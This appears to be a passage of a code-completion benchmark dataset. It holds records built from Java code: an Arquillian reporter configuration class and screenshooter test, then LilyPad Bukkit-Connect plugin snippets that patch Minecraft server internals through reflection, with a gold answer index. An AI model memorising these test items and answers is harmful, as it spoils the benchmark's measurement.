file\n */\n public File getTemplate() {\n return new File(getProperty(\"template\", TEMPLATE));\n }\n\n public String getReportAfterEvery() {\n return getProperty(\"reportAfterEvery\", reportAfterEvery).toLowerCase();\n }\n\n /**\n * Language to use for resulting report. Defaults to \"en\" as English.\n *\n * @return language\n */\n public String getLanguage() {\n return getProperty(\"language\", LANGUAGE).toLowerCase();\n }\n\n /**\n * Gets width for displayed images. When some image has its width lower than this number, it will be displayed as a link\n * instead as an image directly displayed on a resulting HTML page.\n *\n * @return maximum width of an image to be displayed\n */\n public String getMaxImageWidth() {\n return getProperty(\"maxImageWidth\", MAX_IMAGE_WIDTH);\n }\n\n /**\n *\n * @return the width of all images in percents. If this number is smaller then 100, the width of all images will be resized\n * from presentation point of view.\n */\n public String getImageWidth() {\n return getProperty(\"imageWidth\", IMAGE_WIDTH);\n }\n\n /**\n *\n * @return the height of all images in percets. If this number is smaller then 100, the height of all images will be resized\n * from presentation point of view.\n */\n public String getImageHeight() {\n return getProperty(\"imageHeight\", IMAGE_HEIGHT);\n }\n\n public String getTitle() {\n return getProperty(\"title\", TITLE);\n }\n\n private static String getFileDefaultFileName() {\n return new StringBuilder()\n .append(\"arquillian_report\")\n .append(\".\")\n .append(DEFAULT_TYPE)\n .toString();\n }\n\n @Override\n public void validate() throws ReporterConfigurationException {\n if (report.isEmpty()) {\n LOGGER.info(\"Report type can not be empty string! Choosing default type \\\"xml\\\"\");\n report = DEFAULT_TYPE;\n }\n\n if (getTitle() == null || getTitle().isEmpty()) {\n setProperty(\"title\", DEFAULT_TITLE);\n }\n\n try {\n int width = Integer.parseInt(getMaxImageWidth());\n if (width <= 0) {\n setProperty(\"maxImageWidth\", DEFAULT_MAX_IMAGE_WIDTH);\n }\n } catch (NumberFormatException ex) {\n setProperty(\"maxImageWidth\", DEFAULT_MAX_IMAGE_WIDTH);\n }\n\n try {\n int width = Integer.parseInt(getImageWidth());\n if (width <= 0 || width > 100) {\n setProperty(\"imageWidth\", DEFAULT_IMAGE_WIDTH);\n }\n } catch (NumberFormatException ex) {\n setProperty(\"imageWidth\", DEFAULT_IMAGE_WIDTH);\n }\n\n try {\n int height = Integer.parseInt(getImageHeight());\n if (height <= 0 || height > 100) {\n setProperty(\"imageHeight\", DEFAULT_IMAGE_HEIGHT);\n }\n } catch (NumberFormatException ex) {\n setProperty(\"imageHeight\", DEFAULT_IMAGE_HEIGHT);\n }\n\n try {\n ReportFrequency.valueOf(ReportFrequency.class, getReportAfterEvery().toUpperCase());\n } catch (IllegalArgumentException ex) {\n throw new ReporterConfigurationException(\n \"Report frequency you specified in arquillian.xml is not valid. \"\n + \"The configured frequency is: \" + getReportAfterEvery().toUpperCase() + \". \"\n + \"The supported frequencies are: \" + ReportFrequency.getAll(), ex);\n }\n\n // we check language only for html output\n if (getProperty(\"report\", report).startsWith(\"htm\")) {\n LanguageResolver languageResolver = new LanguageResolver();\n\n List<String> supportedLanguages = languageResolver.getSupportedLanguages();\n\n if (!languageResolver.isLanguageSupported(getLanguage())) {\n LOGGER.log(Level.INFO, \"Language you set ({0}) for HTML report is not supported. It will default to \"\n + \"\\\"{1}\\\". When you are executing this from IDE, put reporter api jar to build path among external \"\n + \"jars in order to scan it.\",\n new Object[] { getLanguage(), DEFAULT_LANGUAGE, supportedLanguages });\n setProperty(\"language\", DEFAULT_LANGUAGE);\n }\n }\n\n try {\n if (!getRootDir().exists()) {\n boolean created = getRootDir().mkdirs();\n if (!created) {\n throw new ReporterConfigurationException(\"Unable to create root directory \" + getRootDir().getAbsolutePath());\n }\n } else {\n if (!getRootDir().isDirectory()) {\n throw new ReporterConfigurationException(\"Root directory you specified is not a directory - \"\n + getRootDir().getAbsolutePath());\n }\n if (!getRootDir().canWrite()) {\n throw new ReporterConfigurationException(\n \"You can not write to '\" + getRootDir().getAbsolutePath() + \"'.\");\n }\n }\n } catch (SecurityException ex) {\n throw new ReporterConfigurationException(\n \"You are not permitted to operate on specified resource: \" + getRootDir().getAbsolutePath() + \"'.\", ex);\n }\n\n setFileName(getProperty(\"report\", report));\n }\n\n public void setFileName(String reportType) {\n String fileProperty = getProperty(\"file\", file);\n setProperty(\"report\", reportType);\n String reportProperty = getProperty(\"report\", reportType);\n\n if (!fileProperty.endsWith(reportProperty)) {\n StringBuilder sb = new StringBuilder();\n if (fileProperty.contains(\".\")) {\n sb.append(fileProperty.substring(0, fileProperty.lastIndexOf(\".\")));\n } else {\n sb.append(fileProperty);\n }\n sb.append(\".\");\n sb.append(reportProperty);\n file = sb.toString();\n setProperty(\"file\", file);\n }\n }\n\n @Override\n public String toString() {\n StringBuilder sb = new StringBuilder();\n sb.append(String.format(\"%-40s %s%n\", \"report\", getReport()));\n sb.append(String.format(\"%-40s %s%n\", \"rootDir\", getRootDir().getPath()));\n sb.append(String.format(\"%-40s %s%n\", \"file\", getFile().getPath()));\n sb.append(String.format(\"%-40s %s%n\", \"template\", getTemplate().getPath()));\n sb.append(String.format(\"%-40s %s%n\", \"reportAfterEvery\", getReportAfterEvery()));\n sb.append(String.format(\"%-40s %s%n\", \"language\", getLanguage()));\n sb.append(String.format(\"%-40s %s%n\", \"maxImageWidth\", getMaxImageWidth()));\n sb.append(String.format(\"%-40s %s%%%n\", \"imageWidth\", getImageWidth()));\n sb.append(String.format(\"%-40s %s%%%n\", \"imageHeight\", getImageHeight()));\n return sb.toString();\n }\n\n}" ]
import java.util.List; import org.arquillian.extension.recorder.RecorderStrategyRegister; import org.arquillian.extension.recorder.screenshooter.api.Screenshot; import org.arquillian.extension.recorder.screenshooter.event.AfterScreenshotTaken; import org.arquillian.extension.recorder.screenshooter.event.BeforeScreenshotTaken; import org.arquillian.extension.recorder.screenshooter.event.ScreenshooterExtensionConfigured; import org.arquillian.extension.recorder.screenshooter.event.TakeScreenshot; import org.arquillian.extension.recorder.screenshooter.impl.DefaultAnnotationScreenshootingStrategy; import org.arquillian.extension.recorder.screenshooter.impl.DefaultScreenshooterEnvironmentCleaner; import org.arquillian.extension.recorder.screenshooter.impl.DefaultScreenshootingStrategy; import org.arquillian.extension.recorder.screenshooter.impl.ScreenshooterExtensionInitializer; import org.arquillian.extension.recorder.screenshooter.impl.ScreenshooterLifecycleObserver; import org.arquillian.recorder.reporter.ReporterConfiguration; import org.jboss.arquillian.config.descriptor.impl.ArquillianDescriptorImpl; import org.jboss.arquillian.core.api.Injector; import org.jboss.arquillian.core.api.Instance; import org.jboss.arquillian.core.api.annotation.ApplicationScoped; import org.jboss.arquillian.core.api.annotation.Inject; import org.jboss.arquillian.core.spi.ServiceLoader; import org.jboss.arquillian.core.spi.context.ApplicationContext; import org.jboss.arquillian.junit.event.AfterRules; import org.jboss.arquillian.test.spi.LifecycleMethodExecutor; import org.jboss.arquillian.test.spi.TestResult; import org.jboss.arquillian.test.spi.annotation.TestScoped; import org.jboss.arquillian.test.spi.event.suite.Before; import org.jboss.arquillian.test.test.AbstractTestTestBase; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.runners.MockitoJUnitRunner;
/* * JBoss, Home of Professional Open Source * Copyright 2014, Red Hat, Inc. and/or its affiliates, and individual * contributors by the @authors tag. See the copyright.txt in the * distribution for a full listing of individual contributors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.arquillian.extension.recorder.screenshooter; /** * @author <a href="smikloso@redhat.com">Stefan Miklosovic</a> * */ @RunWith(MockitoJUnitRunner.class) public class ScreenshooterLifecycleObserverTestCase extends AbstractTestTestBase { @Mock private ServiceLoader serviceLoader; @Mock private ScreenshooterConfiguration configuration = new ScreenshooterConfiguration(new ReporterConfiguration()); @Mock private Screenshooter screenshooter; @Mock private RecorderStrategyRegister recorderStrategyRegister = new RecorderStrategyRegister(); @Mock private ScreenshooterEnvironmentCleaner cleaner = new DefaultScreenshooterEnvironmentCleaner(); @Inject private Instance<Injector> injector; @Override public void addExtensions(List<Class<?>> extensions) { extensions.add(ScreenshooterLifecycleObserver.class); extensions.add(ScreenshooterExtensionInitializer.class); } @org.junit.Before public void setMocks() throws Exception { bind(ApplicationScoped.class, ServiceLoader.class, serviceLoader); bind(ApplicationScoped.class, ScreenshooterConfiguration.class, configuration); bind(ApplicationScoped.class, Screenshooter.class, screenshooter); bind(ApplicationScoped.class, RecorderStrategyRegister.class, recorderStrategyRegister); Mockito.when(screenshooter.getScreenshotType()).thenReturn(ScreenshotType.PNG); Mockito.doNothing().when(cleaner).clean(configuration); Mockito.when(serviceLoader.onlyOne(ScreenshooterEnvironmentCleaner.class, DefaultScreenshooterEnvironmentCleaner.class)) .thenReturn(cleaner); } @Test public void recorderStrategyRegisterTest() { fire(new ArquillianDescriptorImpl("arquillian.xml")); fire(new ScreenshooterExtensionConfigured()); ScreenshooterConfiguration configuration = getManager().getContext(ApplicationContext.class) .getObjectStore() .get(ScreenshooterConfiguration.class); configuration.validate(); Assert.assertNotNull(configuration); ScreenshooterEnvironmentCleaner cleaner = getManager().getContext(ApplicationContext.class) .getObjectStore() .get(ScreenshooterEnvironmentCleaner.class); Assert.assertNotNull(cleaner); RecorderStrategyRegister instance = getManager().getContext(ApplicationContext.class) .getObjectStore() .get(RecorderStrategyRegister.class); Assert.assertNotNull(instance); instance.add(new DefaultScreenshootingStrategy()); instance.add(new DefaultAnnotationScreenshootingStrategy()); Assert.assertEquals(2, instance.getAll().size()); Assert.assertEquals(DefaultScreenshootingStrategy.class, instance.getAll().iterator().next().getClass()); } @Test public void beforeTestEventTakeBeforeTestFalse() throws Exception { Mockito.when(configuration.getTakeBeforeTest()).thenReturn(false); fire(new ScreenshooterExtensionConfigured()); initRecorderStrategyRegister(); fire(new Before(FakeTestClass.class, FakeTestClass.class.getMethod("fakeTest"))); assertEventFired(BeforeScreenshotTaken.class, 0);
assertEventFired(TakeScreenshot.class, 0);
3
LilyPad/Bukkit-Connect
src/main/java/lilypad/bukkit/connect/ConnectPlugin.java
[ "public class SpigotHook {\n\n private boolean isSpigot;\n private String whitelistMessage;\n private String serverFullMessage;\n\n public SpigotHook() {\n Class<?> spigotConfig;\n\n try {\n spigotConfig = Class.forName(\"org.spigotmc.SpigotConfig\");\n this.isSpigot = true;\n } catch(Exception exception) {\n this.isSpigot = false;\n return;\n }\n\n try {\n this.whitelistMessage = ReflectionUtils.getPrivateField(spigotConfig, null, String.class, \"whitelistMessage\");\n this.serverFullMessage = ReflectionUtils.getPrivateField(spigotConfig, null, String.class, \"serverFullMessage\");\n ReflectionUtils.setFinalField(spigotConfig, null, \"saveUserCacheOnStopOnly\", true);\n } catch(Exception exception) {\n exception.printStackTrace();\n }\n }\n\n public boolean isSpigot() {\n return this.isSpigot;\n }\n\n public String getWhitelistMessage() {\n return this.whitelistMessage;\n }\n\n public String getServerFullMessage() {\n return this.serverFullMessage;\n }\n\n}", "public class HandlerListInjector extends HandlerList {\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static void prioritize(Plugin plugin, Class<? extends Event> event) throws Exception {\n\t\tHandlerList handlerList = ReflectionUtils.getPrivateField(event, null, HandlerList.class, \"handlers\");\n\t\tHandlerListInjector injector = new HandlerListInjector(plugin);\n\t\t// move the handlerslots\n\t\tEnumMap<EventPriority, ArrayList<RegisteredListener>> handlerListHandlerSlots = ReflectionUtils.getPrivateField(HandlerList.class, handlerList, EnumMap.class, \"handlerslots\");\n\t\tEnumMap<EventPriority, ArrayList<RegisteredListener>> injectorHandlerSlots = ReflectionUtils.getPrivateField(HandlerList.class, injector, EnumMap.class, \"handlerslots\");\n\t\tinjectorHandlerSlots.putAll(handlerListHandlerSlots);\n\t\t// remove old from allLists\n\t\tArrayList<HandlerList> allLists = ReflectionUtils.getPrivateField(HandlerList.class, null, ArrayList.class, \"allLists\");\n\t\tallLists.remove(handlerList);\n\t\t// replace event handlers\n\t\tReflectionUtils.setFinalField(event, null, \"handlers\", injector);\n\t}\n\t\n\tprivate Plugin plugin;\n\tprivate List<RegisteredListener> startListeners = new ArrayList<RegisteredListener>();\n\tprivate List<RegisteredListener> middleListeners = new ArrayList<RegisteredListener>();\n\tprivate List<RegisteredListener> endListeners = new ArrayList<RegisteredListener>();\n\t\n\tprivate HandlerListInjector(Plugin plugin) {\n\t\tthis.plugin = plugin;\n\t}\n\t\n\t@Override\n\tpublic synchronized void bake() {\n\t\tsuper.bake();\n\t\tRegisteredListener[] handlers = super.getRegisteredListeners();\n\t\t// TODO we can speed this up greatly using arrays. It's not really necessary though, as this isn't a hot function\n\t\tfor(RegisteredListener handler : handlers) {\n\t\t\tif(handler.getPlugin().equals(plugin)) {\n\t\t\t\tif(handler.getPriority().equals(EventPriority.LOWEST)) {\n\t\t\t\t\tthis.startListeners.add(handler);\n\t\t\t\t\tcontinue;\n\t\t\t\t} else if(handler.getPriority().equals(EventPriority.MONITOR)) {\n\t\t\t\t\tthis.endListeners.add(handler);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis.middleListeners.add(handler);\n\t\t}\n\t\tList<RegisteredListener> handlerList = new ArrayList<RegisteredListener>(handlers.length);\n\t\thandlerList.addAll(this.startListeners);\n\t\thandlerList.addAll(this.middleListeners);\n\t\thandlerList.addAll(this.endListeners);\n\t\thandlerList.toArray(handlers);\n\t}\n\t\n}", "public class NettyInjector {\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static int injectAndFindPort(Server server, NettyInjectHandler handler) throws Exception {\n\t\tMethod serverGetHandle = server.getClass().getDeclaredMethod(\"getServer\");\n\t\tObject minecraftServer = serverGetHandle.invoke(server);\n\t\t// Get Server Connection\n\t\tMethod serverConnectionMethod = null;\n\t\tfor(Method method : minecraftServer.getClass().getSuperclass().getDeclaredMethods()) {\n\t\t\tif(!method.getReturnType().getSimpleName().equals(\"ServerConnection\")) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tserverConnectionMethod = method;\n\t\t\tbreak;\n\t\t}\n\t\tObject serverConnection = serverConnectionMethod.invoke(minecraftServer);\n\t\t// Get ChannelFuture List // TODO find the field dynamically\n\t\tList<ChannelFuture> channelFutureList = ReflectionUtils.getPrivateField(serverConnection.getClass(), serverConnection, List.class, ConnectPlugin.getProtocol().getNettyInjectorChannelFutureList());\n\t\t// Iterate ChannelFutures\n\t\tint commonPort = 0;\n\t\tfor(ChannelFuture channelFuture : channelFutureList) {\n\t\t\t// Get ChannelPipeline\n\t\t\tChannelPipeline channelPipeline = channelFuture.channel().pipeline();\n\t\t\t// Get ServerBootstrapAcceptor\n\t\t\tChannelHandler serverBootstrapAcceptor = channelPipeline.last();\n\t\t\t// Get Old ChildHandler\n\t\t\tChannelInitializer<SocketChannel> oldChildHandler = ReflectionUtils.getPrivateField(serverBootstrapAcceptor.getClass(), serverBootstrapAcceptor, ChannelInitializer.class, \"childHandler\");\n\t\t\t// Set New ChildHandler\n\t\t\tReflectionUtils.setFinalField(serverBootstrapAcceptor.getClass(), serverBootstrapAcceptor, \"childHandler\", new NettyChannelInitializer(handler, oldChildHandler));\n\t\t\t// Update Common Port\n\t\t\tcommonPort = ((InetSocketAddress) channelFuture.channel().localAddress()).getPort();\n\t\t}\n\t\treturn commonPort;\n\t}\n\t\n}", "@SuppressWarnings(\"restriction\")\npublic class OfflineInjector {\n\n\tprivate static Object offlineMinecraftServer;\n\n\tpublic static void inject(Server server) throws Exception {\n\t\tMethod serverGetHandle = server.getClass().getDeclaredMethod(\"getServer\");\n\t\tObject minecraftServer = serverGetHandle.invoke(server);\n\t\t// create offline minecraftServer\n\t\tClassPool classPool = JavassistUtil.getClassPool();\n\t\tCtClass minecraftServerClass = classPool.getCtClass(minecraftServer.getClass().getName());\n\t\tCtClass offlineMinecraftServerClass = classPool.makeClass(minecraftServer.getClass().getName() + \"$offline\");\n\t\tofflineMinecraftServerClass.setSuperclass(minecraftServerClass);\n\t\t// ... create delegate field\n\t\tCtField delegateField = new CtField(minecraftServerClass, \"delegate\", offlineMinecraftServerClass);\n\t\tofflineMinecraftServerClass.addField(delegateField);\n\t\t// ... add our special getOfflineMode\n\t\tCtMethod getOnlineModeMethod = new CtMethod(minecraftServerClass.getSuperclass().getDeclaredMethod(\"getOnlineMode\").getReturnType(), \"getOnlineMode\", new CtClass[] { }, offlineMinecraftServerClass);\n\t\tgetOnlineModeMethod.setBody(\"{ return false; }\");\n\t\tofflineMinecraftServerClass.addMethod(getOnlineModeMethod);\n\t\t// ... proxy all declared methods recursively\n\t\tCtClass cursorClass = minecraftServerClass;\n\t\twhile (true) {\n\t\t\tfor (CtMethod method : cursorClass.getDeclaredMethods()) {\n\t\t\t\tif(Modifier.isFinal(method.getModifiers())) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif(Modifier.isPrivate(method.getModifiers()) || Modifier.isProtected(method.getModifiers())) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\ttry {\n\t\t\t\t\tofflineMinecraftServerClass.getDeclaredMethod(method.getName(), method.getParameterTypes());\n\t\t\t\t\tcontinue;\n\t\t\t\t} catch(NotFoundException exception) {\n\t\t\t\t\t// proceed\n\t\t\t\t}\n\t\t\t\tCtMethod proxyMethod = new CtMethod(method.getReturnType(), method.getName(), method.getParameterTypes(), offlineMinecraftServerClass);\n\t\t\t\tproxyMethod.setBody(\"{ return ($r)this.delegate.\" + method.getName() + \"($$); }\");\n\t\t\t\tofflineMinecraftServerClass.addMethod(proxyMethod);\n\t\t\t}\n\t\t\tcursorClass = cursorClass.getSuperclass();\n\t\t\tif (cursorClass == null) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (cursorClass.getName().equals(\"java.lang.Object\")) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t// ... make a blank constructor\n\t\t// don't need to make a blank constructor for 1.9\n\t\tif (ConnectPlugin.getProtocol().isOfflineBlankConstructor()) {\n\t\t\tCtConstructor constructor = new CtConstructor(new CtClass[] { }, offlineMinecraftServerClass);\n\t\t\tconstructor.setBody(\"{ super(null); }\");\n\t\t\tofflineMinecraftServerClass.addConstructor(constructor);\n\t\t}\n\n\t\t// ... create our class\n\t\tClass<?> offlineMinecraftServerJClass = offlineMinecraftServerClass.toClass();\n\t\t// ... create an instance of our class without calling the constructor\n\t\tReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();\n\t\tConstructor<?> objectConstructor = Object.class.getDeclaredConstructor();\n\t\tConstructor<?> serializeConstructor = reflectionFactory.newConstructorForSerialization(offlineMinecraftServerJClass, objectConstructor);\n\t\tofflineMinecraftServer = serializeConstructor.newInstance();\n\t\t// ... set our delegate, among other stuff\n\t\tReflectionUtils.setFinalField(offlineMinecraftServer.getClass(), offlineMinecraftServer, \"delegate\", minecraftServer);\n\t\tReflectionUtils.setFinalField(offlineMinecraftServer.getClass().getSuperclass().getSuperclass(), offlineMinecraftServer, \"server\", server);\n\t\tReflectionUtils.setFinalField(offlineMinecraftServer.getClass().getSuperclass().getSuperclass(), offlineMinecraftServer, \"processQueue\", ReflectionUtils.getPrivateField(minecraftServer.getClass().getSuperclass(), minecraftServer, Object.class, \"processQueue\"));\n\t\t// get server connection\n\t\tMethod serverConnectionMethod = null;\n\t\tfor (Method method : minecraftServer.getClass().getSuperclass().getDeclaredMethods()) {\n\t\t\tif (!method.getReturnType().getSimpleName().equals(\"ServerConnection\")) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tserverConnectionMethod = method;\n\t\t\tbreak;\n\t\t}\n\t\tObject serverConnection = serverConnectionMethod.invoke(minecraftServer);\n\t\t// set server connection minecraftServer\n\t\tReflectionUtils.setFinalField(serverConnection.getClass(), serverConnection, ConnectPlugin.getProtocol().getOfflineInjectorServerConnection(), offlineMinecraftServer);\n\t}\n\n\tpublic static Object getOfflineMinecraftServer() {\n\t\treturn offlineMinecraftServer;\n\t}\n\t\n}", "public class LoginListener implements Listener {\n\n\tprivate ConnectPlugin connectPlugin;\n\tprivate LoginPayloadCache payloadCache;\n\tprivate SimpleDateFormat vanillaBanFormat = new SimpleDateFormat(\"yyyy-MM-dd \\'at\\' HH:mm:ss z\");\n\n\tpublic LoginListener(ConnectPlugin connectPlugin, LoginPayloadCache payloadCache) {\n\t\tthis.connectPlugin = connectPlugin;\n\t\tthis.payloadCache = payloadCache;\n\t}\n\n\t@EventHandler(priority = EventPriority.LOWEST)\n\tpublic void onAsyncPlayerPreLogin(AsyncPlayerPreLoginEvent event) {\n\t\tLoginPayload payload = payloadCache.getByName(event.getName());\n\t\tif (payload == null) {\n\t\t\tevent.disallow(AsyncPlayerPreLoginEvent.Result.KICK_OTHER, \"LilyPad: Internal server error\");\n\t\t\treturn;\n\t\t}\n\t}\n\t\n\t/*@EventHandler(priority = EventPriority.LOWEST)\n\tpublic void onPlayerLogin(PlayerLoginEvent event) {\n\t\tPlayer player = event.getPlayer();\n\t\tLoginPayload payload = payloadCache.getByName(player.getName());\n\t\tif (payload == null) {\n\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_OTHER, \"LilyPad: Internal server error\");\n\t\t\treturn;\n\t\t}\n\t\t// Emulate a normal login procedure\n\t\tif (player.isBanned()) {\n\t\t\tBanList banList = this.connectPlugin.getServer().getBanList(BanList.Type.NAME);\n\t\t\tBanEntry banEntry = banList.getBanEntry(player.getName());\n\n\t\t\tStringBuilder banMessage = new StringBuilder();\n\t\t\tbanMessage.append(\"You are banned from this server!\\nReason: \");\n\t\t\tbanMessage.append(banEntry.getReason());\n\n\t\t\tif (banEntry.getExpiration() != null) {\n\t\t\t\tif (banEntry.getExpiration().compareTo(new Date()) > 0) {\n\t\t\t\t\tbanMessage.append(\"\\nYour ban will be removed on \" + vanillaBanFormat.format(banEntry.getExpiration()));\n\t\t\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_BANNED, banMessage.toString());\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t// If the expiration is not null, but we got to here, it means that the ban has expired.\n\t\t\t} else {\n\t\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_BANNED, banMessage.toString());\n\t\t\t}\n\t\t} else if (this.connectPlugin.getServer().hasWhitelist() && !player.isWhitelisted() && !player.isOp()) {\n\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_WHITELIST, this.connectPlugin.getSpigotHook().isSpigot() ? this.connectPlugin.getSpigotHook().getWhitelistMessage() : \"You are not white-listed on this server!\");\n\t\t} else if (this.connectPlugin.getServer().getIPBans().contains(payload.getRealIp())) {\n\t\t\tBanList banList = this.connectPlugin.getServer().getBanList(BanList.Type.IP);\n\t\t\tBanEntry banEntry = banList.getBanEntry(payload.getRealIp());\n\n\t\t\tStringBuilder banMessage = new StringBuilder();\n\t\t\tbanMessage.append(\"Your IP address is banned from this server!\\nReason: \");\n\t\t\tbanMessage.append(banEntry.getReason());\n\n\t\t\tif (banEntry.getExpiration() != null) {\n\t\t\t\tif (banEntry.getExpiration().compareTo(new Date()) > 0) {\n\t\t\t\t\tbanMessage.append(\"\\nYour ban will be removed on \" + vanillaBanFormat.format(banEntry.getExpiration()));\n\t\t\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_BANNED, banMessage.toString());\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t// If the expiration is not null, but we got to here, it means that the ban has expired.\n\t\t\t} else {\n\t\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_BANNED, banMessage.toString());\n\t\t\t}\n\t\t} else if (sizeOf(this.connectPlugin.getServer().getOnlinePlayers()) >= this.connectPlugin.getServer().getMaxPlayers()) {\n\t\t\tevent.disallow(PlayerLoginEvent.Result.KICK_FULL, this.connectPlugin.getSpigotHook().isSpigot() ? this.connectPlugin.getSpigotHook().getServerFullMessage() : \"The server is full!\");\n\t\t} else if (event.getResult() != PlayerLoginEvent.Result.KICK_OTHER) {\n\t\t\tevent.allow();\n\t\t}\n\t}*/\n\t\n\tpublic int sizeOf(Object list) {\n\t\tif (list instanceof List) {\n\t\t\treturn ((List<?>) list).size();\n\t\t}\n\t\tif (list instanceof Player[]) {\n\t\t\treturn ((Player[]) list).length;\n\t\t}\n\t\treturn 0;\n\t}\n\n}", "public class LoginNettyInjectHandler implements NettyInjectHandler {\n\n\tprivate String requestedStateFieldCache;\n\tprivate String serverHostFieldCache;\n\tprivate Class<?> serverHostFieldClass;\n\n\tprivate ConnectPlugin connectPlugin;\n\tprivate LoginPayloadCache payloadCache;\n\n\tpublic LoginNettyInjectHandler(ConnectPlugin connectPlugin, LoginPayloadCache payloadCache) {\n\t\tthis.connectPlugin = connectPlugin;\n\t\tthis.payloadCache = payloadCache;\n\t}\n\n\tpublic void packetReceived(NettyDecoderHandler handler, ChannelHandlerContext context, Object object) throws Exception {\n\t\tString packetName = object.getClass().getSimpleName();\n\t\tif (packetName.startsWith(\"PacketHandshakingInSetProtocol\")) {\n\t\t\thandleSetProtocol(context, object);\n\t\t} else if (packetName.equals(\"PacketLoginInStart\")) {\n\t\t\thandlePacketLoginStart(context, object);\n\t\t\thandler.disable();\n\t\t}\n\t}\n\n\tprivate void handleSetProtocol(ChannelHandlerContext context, Object object) {\n\t\t// Get requested state\n\t\ttry {\n\t\t\tif (this.requestedStateFieldCache == null) {\n\t\t\t\tfor (Field field : object.getClass().getDeclaredFields()) {\n\t\t\t\t\tif (!field.getType().getSimpleName().equals(\"EnumProtocol\")) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tthis.requestedStateFieldCache = field.getName();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tObject requestedStateEnum = ReflectionUtils.getPrivateField(object.getClass(), object, Object.class, this.requestedStateFieldCache);\n\t\t\tif (requestedStateEnum.toString().equals(\"STATUS\")) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t} catch (Exception exception) {\n\t\t\texception.printStackTrace();\n\t\t\tcontext.close();\n\t\t\treturn;\n\t\t}\n\n\t\t// Get server host\n\t\tString serverHost;\n\t\ttry {\n\t\t\tif (this.serverHostFieldCache == null) {\n\t\t\t\tfor (Field field : object.getClass().getSuperclass().getDeclaredFields()) {\n\t\t\t\t\tif (!field.getType().getSimpleName().equals(\"String\")) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tthis.serverHostFieldCache = field.getName();\n\t\t\t\t\tthis.serverHostFieldClass = object.getClass().getSuperclass();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (this.serverHostFieldCache == null) {\n\t\t\t\t\tfor (Field field : object.getClass().getDeclaredFields()) {\n\t\t\t\t\t\tif (!field.getType().getSimpleName().equals(\"String\")) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tthis.serverHostFieldCache = field.getName();\n\t\t\t\t\t\tthis.serverHostFieldClass = object.getClass();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tserverHost = ReflectionUtils.getPrivateField(this.serverHostFieldClass, object, String.class, this.serverHostFieldCache);\n\t\t} catch (Exception exception) {\n\t\t\texception.printStackTrace();\n\t\t\tcontext.close();\n\t\t\treturn;\n\t\t}\n\n\t\t// Get login payload\n\t\tLoginPayload payload;\n\t\ttry {\n\t\t\tpayload = LoginPayload.decode(serverHost);\n\t\t\tif (payload == null) {\n\t\t\t\tthrow new Exception(); // for lack of a better solution\n\t\t\t}\n\t\t} catch (Exception exception) {\n\t\t\tcontext.close();\n\t\t\treturn;\n\t\t}\n\n\t\t// Check the security key\n\t\tif (!payload.getSecurityKey().equals(this.connectPlugin.getSecurityKey())) {\n\t\t\t// TODO tell the client the security key failed?\n\t\t\tcontext.close();\n\t\t\treturn;\n\t\t}\n\n\t\t// Store the host\n\t\ttry {\n\t\t\tReflectionUtils.setFinalField(this.serverHostFieldClass, object, this.serverHostFieldCache, payload.getHost());\n\t\t} catch (Exception exception) {\n\t\t\texception.printStackTrace();\n\t\t}\n\n\t\t// Store the real ip & port\n\t\ttry {\n\t\t\tInetSocketAddress newRemoteAddress = new InetSocketAddress(payload.getRealIp(), payload.getRealPort());\n\t\t\t// Netty\n\t\t\tReflectionUtils.setFinalField(AbstractChannel.class, context.channel(), \"remoteAddress\", newRemoteAddress);\n\t\t\t// MC\n\t\t\tObject networkManager = context.channel().pipeline().get(\"packet_handler\");\n\n\t\t\tif (ConnectPlugin.getProtocol().getGeneralVersion().equalsIgnoreCase(\"1.7\")) {\n\t\t\t\tString[] fields = ConnectPlugin.getProtocol().getLoginNettyInjectHandlerNetworkManager().split(\",\");\n\t\t\t\ttry {\n\t\t\t\t\tReflectionUtils.setFinalField(networkManager.getClass(), networkManager, fields[0], newRemoteAddress);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tReflectionUtils.setFinalField(networkManager.getClass(), networkManager, fields[1], newRemoteAddress);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tReflectionUtils.setFinalField(networkManager.getClass(), networkManager, ConnectPlugin.getProtocol().getLoginNettyInjectHandlerNetworkManager(), newRemoteAddress);\n\t\t\t}\n\n\t\t} catch (Exception exception) {\n\t\t\texception.printStackTrace();\n\t\t}\n\n\t\t// Submit to cache\n\t\tthis.payloadCache.submit(payload);\n\t}\n\n\tprivate void handlePacketLoginStart(ChannelHandlerContext context, Object object) {\n\t\t// inject LoginListener\n\t\ttry 